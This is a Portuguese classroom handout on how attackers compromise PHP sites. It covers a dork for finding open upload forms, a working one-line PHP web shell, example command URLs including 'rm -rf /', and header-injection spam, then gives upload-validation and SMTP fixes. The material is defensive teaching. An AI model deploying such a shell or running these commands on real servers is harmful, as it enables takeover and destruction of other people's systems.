⚠️ MATERIAL DIDÁTICO — Como invasores exploram sites PHP
🎯 Aprenda os mecanismos para saber como se proteger
Invasores encontram sites com falhas de segurança e exploram essas brechas para enviar e-mails em massa, hospedar conteúdo malicioso ou até mesmo assumir o controle do servidor.
Usa Google Dorks para encontrar sites com upload de arquivo sem validação.
Exemplo: site:*.com "upload" "file" "PHP"
Através do formulário de upload, envia um arquivo PHP que permite controlar o servidor.
Exemplo: shell.php com código para executar comandos
Usa o servidor da vítima para enviar milhares de e-mails de spam ou phishing.
O site da vítima é bloqueado por spam e perde reputação.
Validar uploads, usar prepared statements, manter PHP atualizado e usar SMTP seguro.
O invasor usa o formulário de upload do site vulnerável para enviar um arquivo PHP que dará acesso ao servidor.
(Simule o invasor enviando um arquivo PHP)
🔴 VULNERABILIDADE: O site não valida extensão, MIME type nem renomeia o arquivo.
📤 Envie um arquivo para ver o resultado aqui.
Crie um arquivo shell.php com conteúdo PHP para simular.
Após enviar o script, o invasor acessa o arquivo diretamente pelo navegador e ganha controle total do servidor.
O invasor acessa: https://site-vulneravel.com/uploads/shell.php
Este é o código que o invasor subiu no servidor
<?php // ==================================================== // SHELL SIMPLES - EXECUTA COMANDOS DO SISTEMA // ==================================================== if (isset($_GET['cmd'])) { echo "<pre>"; system($_GET['cmd']); // ⚠️ VULNERÁVEL echo "</pre>"; } ?>
⚠️ Este código permite executar QUALQUER comando:
shell.php?cmd=whoami → mostra o usuário do servidor
shell.php?cmd=ls -la → lista todos os arquivos
shell.php?cmd=rm -rf / → destrói todo o servidor
O invasor usa o servidor da vítima para enviar milhares de e-mails de spam. O site da vítima será bloqueado.
Os e-mails são enviados do servidor da vítima, não do invasor.
O servidor é marcado como spam e bloqueado.
Clientes recebem spam e perdem a confiança na empresa.
Agora vamos enviar um e-mail de verdade usando SMTP, para mostrar como um sistema seguro deve funcionar.
📨 Preencha o formulário e clique em "ENVIAR E-MAIL"
Use o Modo TESTE para simular o envio.
Aprenda como proteger seu site PHP contra os ataques que vimos na aula.
move_uploaded_file($arquivo['tmp_name'], 'uploads/' . $arquivo['name']);
// 1. Validar extensão
$extensoes = ['jpg', 'png', 'pdf'];
$ext = strtolower(pathinfo($arquivo['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $extensoes)) die("Extensão não permitida!");
// 2. Validar MIME type
$mimes = ['image/jpeg', 'image/png', 'application/pdf'];
$mime = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $arquivo['tmp_name']);
if (!in_array($mime, $mimes)) die("Tipo de arquivo inválido!");
// 3. Renomear arquivo
$novo_nome = uniqid() . '.' . $ext;
move_uploaded_file($arquivo['tmp_name'], "uploads/$novo_nome");
$headers = "From: " . $_POST['email']; mail($destino, $assunto, $mensagem, $headers);
use PHPMailer\PHPMailer\PHPMailer;
$mail = new PHPMailer();
$mail->isSMTP();
$mail->Host = 'smtp.gmail.com';
$mail->SMTPAuth = true;
$mail->Username = 'seuemail@gmail.com';
$mail->Password = 'sua_senha_app';
$mail->SMTPSecure = 'tls';
$mail->Port = 587;
$mail->setFrom('seuemail@gmail.com');
$mail->addAddress($destinatario);
$mail->send();
📚 Laboratório de Segurança — Material Didático para Sala de Aula
© — Professor [Seu Nome] — Todos os direitos reservados
⚠️ Este material é exclusivamente para fins educacionais